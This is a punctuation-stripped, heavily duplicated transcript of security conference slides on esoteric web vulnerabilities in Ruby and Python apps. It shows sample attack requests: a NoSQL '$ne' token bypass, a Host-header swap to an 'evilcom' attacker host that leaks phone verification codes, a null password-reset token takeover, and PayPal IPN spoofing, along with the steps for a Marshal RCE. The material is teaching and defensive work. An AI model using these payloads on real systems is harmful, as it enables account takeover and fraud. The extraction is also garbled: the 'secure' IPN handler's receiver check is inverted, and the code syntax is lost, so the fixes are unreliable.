[cb16] esoteric web application vulnerabilities by andrés riancho
TRANSCRIPT
me
Application security expert (web|API)
Developer (Python)
Open Source evangelist
w3af project leader
Founder of Bonsai Information Security
Founder and developer of TagCube SaaS
ORM killed the pentest star
All modern web development frameworks provide abstractions to interact with (no)SQL databases Developers donrsquot write raw SQL queries anymore
Video killed the radio star (youtube)
SQL injections are rare nowadays this requires us testers to dig deeper into the application to find high risk vulnerabilities
MVC templates and default HTML encode killed XSS
Most modern web development frameworks use a model view controller architecture which uses templates to render the HTML shown to users
Templating engines such as Jinja2 HTML encode the context data by default
Developers need to write more code to make the template vulnerable to Cross-Site Scripting which leads to less vulnerabilities
ltulgt for user in user_list
ltligtlta href= userurl gt userusername ltagtltligt endfor ltulgt
Aggressive input decoding
Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding
httpwwwphrackorgpapersattacking_ruby_on_railshtml
post hello doname = params[name]render_response 200 name
POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded
name=andres
POST hello HTTP11Host examplecomContent-Type applicationjson
name andres
Decode to a Ruby Hash
POST hello HTTP11Host examplecomContent-Type applicationjson
name foo 1
In all previous cases the type of the name variable was a String but we can force it to be a Hash
noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to
Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token dee1303d11814cf70d21a5193030bb8e user_id 3578
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
ORM killed the pentest star
All modern web development frameworks provide abstractions to interact with (no)SQL databases Developers donrsquot write raw SQL queries anymore
Video killed the radio star (youtube)
SQL injections are rare nowadays this requires us testers to dig deeper into the application to find high risk vulnerabilities
MVC templates and default HTML encode killed XSS
Most modern web development frameworks use a model view controller architecture which uses templates to render the HTML shown to users
Templating engines such as Jinja2 HTML encode the context data by default
Developers need to write more code to make the template vulnerable to Cross-Site Scripting which leads to less vulnerabilities
ltulgt for user in user_list
ltligtlta href= userurl gt userusername ltagtltligt endfor ltulgt
Aggressive input decoding
Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding
httpwwwphrackorgpapersattacking_ruby_on_railshtml
post hello doname = params[name]render_response 200 name
POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded
name=andres
POST hello HTTP11Host examplecomContent-Type applicationjson
name andres
Decode to a Ruby Hash
POST hello HTTP11Host examplecomContent-Type applicationjson
name foo 1
In all previous cases the type of the name variable was a String but we can force it to be a Hash
noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to
Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token dee1303d11814cf70d21a5193030bb8e user_id 3578
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
MVC templates and default HTML encode killed XSS
Most modern web development frameworks use a model view controller architecture which uses templates to render the HTML shown to users
Templating engines such as Jinja2 HTML encode the context data by default
Developers need to write more code to make the template vulnerable to Cross-Site Scripting which leads to less vulnerabilities
ltulgt for user in user_list
ltligtlta href= userurl gt userusername ltagtltligt endfor ltulgt
Aggressive input decoding
Ruby on Rails Sinatra and other (ruby) web frameworks perform aggressive input decoding
httpwwwphrackorgpapersattacking_ruby_on_railshtml
post hello doname = params[name]render_response 200 name
POST hello HTTP11Host examplecomContent-Type applicationx-www-form-urlencoded
name=andres
POST hello HTTP11Host examplecomContent-Type applicationjson
name andres
Decode to a Ruby Hash
POST hello HTTP11Host examplecomContent-Type applicationjson
name foo 1
In all previous cases the type of the name variable was a String but we can force it to be a Hash
noSQL ODM introduction
When MongoId ODM (Object Document Mapper) and similar frameworks are in use developers can write code similar to
Which will query the Mongo database and return the first registration flow where the user_id and confirmation_token match
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token dee1303d11814cf70d21a5193030bb8e user_id 3578
noSQL ODM complex queries
Developers can write ldquocomplexrdquo ODM queries using Ruby Hashes as parameters
user = Userswhere(user_id params[user_id]country $ne Argentina)first
users = Userswhere(user_id $in [123 456 789])
Decode to Hash leads to noSQL injection
Itrsquos possible to bypass the token validation
post registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]confirmation_token params[token]
)first
POST registrationcomplete HTTP11Host vulnerablecomContent-Type applicationjson
token $ne nomatch user_id 3578
ldquoUser controlled inputrdquoto_s
Fixing this vulnerability is quick and easy
Most developers will forget to add the to_s and itrsquos easy to miss in a source code review Recommend Sinatra param or similar
get registrationcomplete doregistration = Registrationwhere(
user_id params[user_id]to_sconfirmation_token params[token]to_s
)first
Call me to verify my identity 1
The application requires users to provide a cellphone to verify their identity A phone call is initiated by the application using a service like Twilio the call audio contains a verification code which needs to be input into the application to verify phone ownership
HTTP requestVerify my phone +1 (541) 754-3010
Call me to verify my identity 2
Call +1 (541) 754-3010Send code 357896 in audio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
Call me to verify my identity 3
HTTP requestCode is 357896
HTTP responseWelcome admin
Bypass phone verification
Hacker wants to bypass phone verification ideas
Hack adminrsquos smartphone Hack vulnerablecom Create a raw cellphone tower and sniff adminrsquos phone call Hack Twilio
Hacking vulnerablecom seems to be the easiest path to follow Buthellip what do we need
UUID4
Version 4 UUIDs use a scheme relying only on random numbers thus the audio URLs canrsquot be brute forced
httpsvulnerablecomaudiof47ac10b-58cc-4372-a567-0e02b2c3d479
Zoom into HTTP request to Twilio
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
POST callnew HTTP11Host apitwiliocomContent-Type applicationjsonX-Authentication-Api-Key 2bc67a5
phone_number +1 (541) 754-3010audio_callback httpsvulnerablecomf47ac10b-5
Insecure Twilio API call
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsvulnerablecomaudioltuuid-4gt
import requests
def start_call(phone callback_url)requestspost(httpsapitwiliocomcall
data=phone_number phoneaudio_callback callback_url)
hellipaudio_id = generate_audio(requestuser_id)callback_url = httpsss (requesthost audio_id)start_call(request[phone] callback_url)
Change Host header to exploit
HTTP requestVerify my phone +1 (541) 754-3010
POST verify-my-phone HTTP11Host vulnerablecomContent-Type applicationjson
phone_number +1 (541) 754-3010
POST verify-my-phone HTTP11Host evilcomContent-Type applicationjson
phone_number +1 (541) 754-3010
Exploit results in modified callback_url
HTTP requestPlease call +1 (541) 754-3010
Audio for the call is available at httpsevilcomaudioltuuid-4gt
HTTP requesthttpsevilcomaudioltuuid-4gt
HTTP requesthttpsvulnerablecomaudioltuuid-4gt
MUST-HAVE Strict validation for Host header
Make sure that your nginx apache and web frameworks validate the host header before any further code is run
Django has strict host header validation built in using ALLOWED_HOSTS configuration setting
Password reset
Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token
Usually password resets are implemented as follows
User starts a new password reset flow
An email is sent by the application containing a randomly generated token
The token is used to prove that the user has access to the email address and the password is reset
Implementation details
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token string default nilend
end
post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)
post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
Token defaults to NULL in the database
POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson
token null new_password l3tm31n
Each time a new user is created his pwd_reset_token field is set to NULL in the database
When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token
What if
Safe defaults and strict type validation
post complete-password-reset douser = Userswhere(pwd_reset_token
params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave
class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change
add_column users pwd_reset_token stringdefault generate_random_token()
endend
Paypalrsquos Instant Payment Notification
I love payment gateways See my previous talk on this subject
Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed
The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler
Zoom into Paypalrsquos IPN HTTP request
POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded
mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000
Zoom into Paypalrsquos IPN HTTP request
There are a few important parameters that we need to understand
mc_gross=1995 is the amount paid by the user
custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site
receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address
payment_status=Completed is the payment status
Why does the merchant verify the IPN data
Insecure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate
def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Insecure IPN handlers - No receiver email check
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
